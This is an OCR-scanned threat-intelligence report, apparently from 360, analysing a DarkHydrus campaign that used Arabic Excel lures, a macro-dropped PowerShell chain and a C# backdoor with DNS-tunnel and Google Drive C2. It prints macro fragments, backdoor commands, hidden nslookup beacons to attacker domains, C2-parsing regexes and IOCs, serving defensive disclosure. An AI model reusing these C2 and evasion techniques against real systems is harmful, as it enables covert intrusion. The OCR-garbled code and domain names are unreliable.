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Latest Target Attack of DarkHydruns Group Against Middle
East

2019-01-16 By 360EiAMEIRFL | BB

Background

360 Threat Intelligence Center captured several lure Excel documents written in Arabic in January 9,
2019. A backdoor dropped by macro in the lure documents can communicate with C2 server through DNS

tunnel, as well as Google Drive API.

We confirmed that this is a DarkHydrus Group’s new attack targeting Middle East region. In July 2018,
Palo Alto disclosed DarkHydrus Group which showed its special interest to governments in Middle East[1].
Prior to that report, we published detail analysis on malware exploiting CVE-2018-8414 vulnerability
(remote code execution in SettingContent-ms), which is believed a work of DarkHydrus[2].

Timeline

Timeline of activities of DarkHydrus Group:

2018-7-25, 360 identified DarkHydrus attacks
? exploiting CVE-2018-8414 vulnerability

‘ 2018-7-27, Palo Alto disclosed DarkHydrus

attacks against Middle East region

‘ 2019-1-9, 360 identified new DarkHydrus
attack against Middle East region

Kaspersky named “LazyMeerkat” to this APT group. [4]
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Sample Analysis

Dropper (Macros)

5c3f96adeOeab7eef9d25161c64e6f3e

MD5

Filename o el xlsm  (indexes. xlsm)

MD5 8dc9f5450402ae799f5f8afd5c0a8352
Filename gl xIsm (viewing. xlsm)

This malware is a lure Excel document with name ‘s Jkill.xlsm’. When it is opened, embedded VBA
macro is trigged to run. That macro drops 12-B-366.txt to ‘% TEMP%’ directory first, then leverages

regsvr32.exe to run 12-B-366.txt

ject™).OpenTextFile(ps_file dir, 2,

" + ps_file_dir

"+ vbCrLf
" + powershell command + """

t").OpenTextFile(sct file path, 2,

objFileTolrite =

final_comm
final command
Shell(final

/i:" + sct_file path +

workbaok_Cpen()

New_Macro

12-B-366.txt is a HTA (HTML application) file, which will drop a PowerShell script to %TEMP%\\

WINDOWSTEMP.ps1

Finally, the PowerShell script drops %TEMP%\\OfficeUpdateService.exe for execution by extracting

Based64-encoded content.

®
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Backdoor (OfficeUpdateService.exe)

MD5 b108412f1cdc0602d82d3e6b318dc634
Filename OfficeUpdateService.exe

C:\Users\william\Documents\Visual Studio 2015\Projects\DNSProject\DNSProject\obj\Relea

PDB path .
se\DNSProject.pdb

This backdoor is written in C#:

File : |[Untitled1 || on =

Entry Paint : | 00003006 < | EP Section : % <0l

% File Offset : |00006FDS First Bytes : |FF.25.00.20.40 (1) Plug

@,__ Linker Info : |:| SubSystem : |wWindows GUI PE b

File Size : 00007AQ0H = M Overlay: MO 00000000 O Q?\I

fi=sl =

Image is executable RES/OVL:5 [ 0 %% 2019 =

| Linker 48] - Microsoft Visual C# /Basic.NET ] - EP Token : 06000001|  gean /t Rip
Lamer Info - Help Hint - Unpack info -

|-> Explore and analyze .NET assemblies with .NET Reflector v8.0 - ww| 3 = ==

The PDB path has a project name ‘DNSProject’, which illustrates that the malware may leverage some

DNS techniques to achieve its goal.

C:\Users\william\Documents\Visual Studio
2015\Projects\DNSProject\DNSProject\obj\Release\DNSProject.pdb

The backdoor checks if ‘st:off’ and ‘pd:off’ is given as paramters. If ‘st:off’ presents, no persistence
entry is added; PDF file is not dropped if ‘pd:off’ exists. Then it detects existence of virtual machine and
sandbox before malicious payload is triggered.

®
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A registry entry is added for persistence:

It can drop a PDF file:

Codes of virtual machine detection, sandbox detection and anti-debug are following,
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Jnum

nfdk)

ipaddr
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The backdoor will send collected information to C2 server through DNS tunnel. queryTypesTest function
is created for DNS tunnel communication.

Then, the backdoor tries to retrieve commands from C2 server via DNS tunnel, then through HTTP if
failed.

After C2 commands is retrieved successfully, commands are dispatched by taskHandler. @

https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/ 6/20
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command =
{command .

command {command ) ;

command 3 (command) ;

(command. £

. localsl.jobID);

{comma n}j G
,_localsl. jobID;

L H

“M\$x_mode” command sets file server address which is sent in DNS tunnel.
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( command ,

command = command.Trim{};

[] array = command.5p]

» jobID);

cs = array[

arra

One file server is Google Drive

https://www.googleapis.com/upload/drive/v3/files/" + file_id + "?

supportsTeamDrive=true&uploadType=resumable&fields=kind,id,name,mimeType,parents

All command lists are following:

Command

~kill

M\ $fileDownload
M\$importModule
M\$x_mode
M$ClearModules
M$fileUpload
“testmode

~showconfig

Feature

Kill thread or process

Download file

Import module

In x_mode, configure C2 address, then send RAT data to C2 by HTTP protocol
Remove module

Upload file

Test module

Show configuration @
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~changeConfig Change configuration
~slp Sleep
Nexit Exit process

DNS Tunnel

DNS tunnel is a C2 communication technique in which malware send data and retrieve commands by
DNS query packets. This technique is very effective since most gateways or firewalls allow both ingress

and egress DNS traffic.

If C2 server is assigned in the format of IP address in malware body, malware can contact C2 directly.
But OfficeUpdateService.exe backdoor has C2 server in the format of DNS name, which requires a DNS
resolution to C2 domain name first. To do that, the backdoor queries C2 domain in specific name server.
Then the backdoor communicates C2 server in DNS tunnel.

C2 domain names are following:

akamaized.liv

Name Server

Malware sends DNS queries to these two name servers for C2 domain name resolution:
‘tvsl.trafficmmanager.live’ and ‘tvs2.trafficmmanager.live’

tslsers Administrator?ns lookup —g=N8 akdns.live
i

namezerver = tvs? _trafficmanager.live
lakdns . live nameserver tuvsl.trafficmanager.live

tvs2 . trafficmanager.live internet address = 198.23.148.79

Malware uses nslookup to send out DNS query, with following parameters: ‘timeout’ and ‘q’ for DNS

record type

https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/ 9/20
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= ipconfig.exe (3836) "C: \Vindows\svsten3Z\ipconfig. exe” /flushdns
o powershell.exe (3868) “powershell. exe” -WindowStyle Hidden - —timeout=10 —g=TXT ajgujc. akanaiedge. live
= nslookup.exe (2852)[C:\Windevs\systen32inslockum. ex =TET ajemjc. akamaiedge. live
o powershell.exe (3900) “powershell. exe” —WindowStyle Hidden —exec bypass —command ipcordfig /Ilushdns
= ipconfig.exe (3952) “C:\Vinders\systen32hipconfie. exe” /flushdns
o powershell.exe (1364) “powershell. exe” -WindowStyle Hidden —exec bypass —command nsloockup. exe —timeout=10 —g=504 bjpc. edgekey. live
= nslookup.exe (3588)[C: \Windowe\sveten32inslockup. exe” —tineout=10 —g=504 bjpc. edgekey. live ‘
o powershell.exe (3976) “powershell. exe” —WindowStyle Hidden —exec bypass —command ipconfig /flushdns
= ipconfig.exe (2836) “C:'\Windows\systen32\ipconfig. exa” /flushdns
o powershell.exe (3104) “powershell. exe” —WindowStyle Hidden —exec bypass —command nslockup. exe —timeout=10 —g=MI bjpc. akanaized live
= nslookup.exe (836) “C: \¥indows\sys ten32\nslookup. exe” —timeout=10 —c=ME bjpc. akamaized. live |
o powershell.exe (1192) “povershell. exe” —WindewStvle Hidden —exec bypass —command ipcenfiz /flushdns
= ipconfig.exe (1684) “C:\Vindows\svsten32\ipconfig. exe” /flushdns
o powershell.exe (3196) “powershell. exe” —WindowStyle Hidden —exec bypass —command nslockup. exe —timeout=10 —g=CNANE hipc. akdns.live
= nslookup.exe (35431 “CoWindewsisystem32inslockup. exe” —timesut=10 —=CHAME hipe. akdns. live |
o powershell.exe (3460) “powershell. exe” —¥indowStyle Hidden —exec bypass —command ipconfiz /flushdns
= ipconfig.exe (3536) “C:\Vindows\systen32\ipconfig. exe” /flushdns
o powershell.exe (3596) “powershell. exe” -WindowStyle Hidden —exec bvpass —command nslookup. exe —timeout=10 —g=SR¥ bjpc. akanaledze.live
= nslookup.exe (3916) “C: \Windows\sy=tem32nslockup. exe” —tineout=10 —g=5R¥ bjpc. akanaiedge. live |
o powershell.exe (2860) “powershell. exe” ~WindewStyle Hidden —exec bypass —command ipcenfiz /flushdns
= ipconfig.exe (3784) “C:\¥indows\systen32\ipeonfig. exe” /flushdns
o powershell.exe (3932) “powershell. exe” ~¥indovStyle Hidden —exec bypass —command nslookun. exe —timeout=10 —g=4 bipc. edgekey. live

C&C Commands

To parse C2 commands from above types of DNS records, the malware uses different regular
expressions. For example, if commands are sent back in DNS A record, the malware will use following

regular expression:

Malware will retrieve a process ID as victim ID, then treats victim ID as subdomain name in C2

communication.

82 10.953419 172.16.1.113 172.16.1.1 DNS 82 standard query TXT ajpinc.akamaiedge. live
83 11.327008 172.16.1.1 172.16.1.113 ONS 114 standard query response TXT

i

fe ff ff ff ff ff 00 16 3e eb ca 71 08 00 45 00
00 44 28 b6 00 00 80 11 b7 60 ac 10 01 71 ac 10
01 01 fb 27 00 35 00 30 5a d4 00 05 01 00 00 01
00 00 00 00 00 00 AENCEWINENENENTNE:
61 6d 61 69 65 64 67 65 04 6c 69 76 65 OONGHISEY
00 01

C2 commands are parsed out by regular expressions based on DNS record types.

https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/
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mber{matchCollection2[1].

We manually send out a DNS TXT query with victim ID as illustration.

A domain name ‘ajpinc.akamaiedge.live’ is created. In subdomain ‘ajpinc’, ‘a’ means this is the first
request, and ‘c’ is the character for string end, while ‘jpin’ is process ID. Then, we send DNS query by

using nslookup command as following

C:“lzers~admin>ipconfig ~flushdns

UnKnown
1922 168 .229_2

ajpinc.akamaiedge . live text =

“"IHN.AKAMAIEDGE.LIVE. "

The malware will use following regular expression to parse out command, ([\\w+).
(akdns.livelakamaiedge.liveledgekey.livelakamaized.live](file://w+).

(akdns.livelakamaiedge.liveledgekey.livelakamaized.live)).

https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/

11/20



1/17/2019 360 N H L

Finally, system configuration is sent to C2 server in DNS protocol.

Communication Rule

This malware uses following types of DNS record

s ®

AC

https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/ 12/20
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CNAME
TXT
SRV
SOA

MX

To parse C2 commands from above types of DNS records, the malware uses different regular
expressions. For example, if commands are sent back in DNS AC record, the malware will use following

regular expression:

Following regular expression is for commands in DNS AAAA records,

https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/ 13/20
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And there is one regular expression for several DNS record types, including CNAME, SRV, SOA,

https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/ 14/20
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Breakdown of regular expressions are as following,

Types of DNS record Regular expressions

A Address:\\s+(\\d+.\\d+.\\d+.\\d+)

AC ([*r=vA\\s]+) [r=v] ([\\WA\d+\\/=]+) -\\w+. (<C2DOMIAN>)
AAAA Address:\\s+(([a-fA-F0-91{0,4}:{1,4} [\\w]|:1+){1,8})

([*r—=v\\s1+) [r-=v] ( [\\w\\d+\\/=]1+)-\\w+. (<C2DOMIAN>)
CNAME., TXT. SRV, SOA. MX and
(\\w+) . (<C2DOMIAN>)

However, the malware will cancel operation if commands is matched by following regular expression:
"216.58.192.174|2a00:1450:4001:81a::200e|2200::|download.microsoft.com|ntservicepack.microsoft.com|window
supdate.microsoft.com|update.microsoft.com"

https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/ 15/20
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Attribution

We found some traces which lead us to believe that DarkHydrus is behind this attack.

Samples with DNS Tunnel Function

Similar to the malware disclosed by Palo Alto[2], both malware use DNS tunnel technique:

DarkHydrus

Sandbox detection and Backdoor Capability

The new malware has very similar code of detection to sandbox and virtual machine as previous

DarkHydrus samples

" -ForegroundColor Red DrakHydrus

o = s
if (ScpuCoreNumber -le °)

)
if (SprocList -match "Sysincernals")
€
)

)

Both samples have very similar code and functionality:

https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/
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Com
mand

Description

£fil
elow

nloa

Uploads the contents of a specified file to C2

§imp
ortM
cdul

Adds a specified PowerShell module to the current script

&3cr
BENS

hot

Executes the contents of the command. which should be the string ‘$screenshot’. We are not sure if
this works, but the command name would suggest it is meant to take a screenshot

fcam

mand

Runs a PowerShell command and sends the output to the C2

alp:
wd+

Sets the sleep interval between C2 beacons

ftes

tmod

Issues DMS queries of A, AAAL, AC, CNAME, MX, TXT. SRV and SOA types to the C2 servers
attempting to determine which DNS guery types were successful. This command will automatically
set the DMNS type to use for actual C2

&sho
WCOTL
fig

Uploads the current configuration of the payload to the C2

Sets the sleep interval between outbound DMS requests

£fil
elpl
cad

Downloads contents from the C2 server and writes them to a specified file

Pivot

One interesting finding is that, there is one Twitter user Steve Williams with handle name

@darkhydrus2. It’s coincident that both ‘darkhydrus’ (APT group name) and ‘Williams’ (user name in PDB

path) found in this Twitter user.

https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/
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Stevel Williams

@darkhydrus2

AT 2016468

Akl

Summary

In recent APT incidents, more and more threat actors tend to adopt Office VBA macro instead of Office
Oday vulnerability in the consideration of cost reduction. It is recommended that users avoid to open
documents from untrusted sources. And Office macro should be disabled by default.

i Excel ZEI
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: O BEFEECRES ; THeETARERRIRE D
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-
THRIEE
ANESER

Products of 360 ESG can protect users from this new malware, including 360 Threat Intelligence
Platform, SkyEye APT Detection, 360 NGSOC.

10C @

MD5
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5c3f96adeOeab7eef9d25161c64e6f3e

8dc9f5450402ae799f5f8afd5c0a8352
b108412f1cdc0602d82d3e6b318dc634
039bd47f0fdb6bb7d68a2428c71f317d
PDB PATH
C:\Users\william\Documents\Visual Studio 2015\Projects\DNSProject\DNSProject\obj\Release\DNSProject.pdb
Cc2

Office365.life

Office365.services

Onedrive.agency

akamai.agency

akamaiedge.live

akamaiedge.services

akamaized.live

akdns.live

azureedge.today

cloudfronts.services
corewindows.agency

edgekey.live

microsoftonline.agency

nsatc.agency

onedrive.agency

phicdn.world

sharepoint.agency

skydrive.agency

skydrive.services

t-msedge.world

trafficmanager.live
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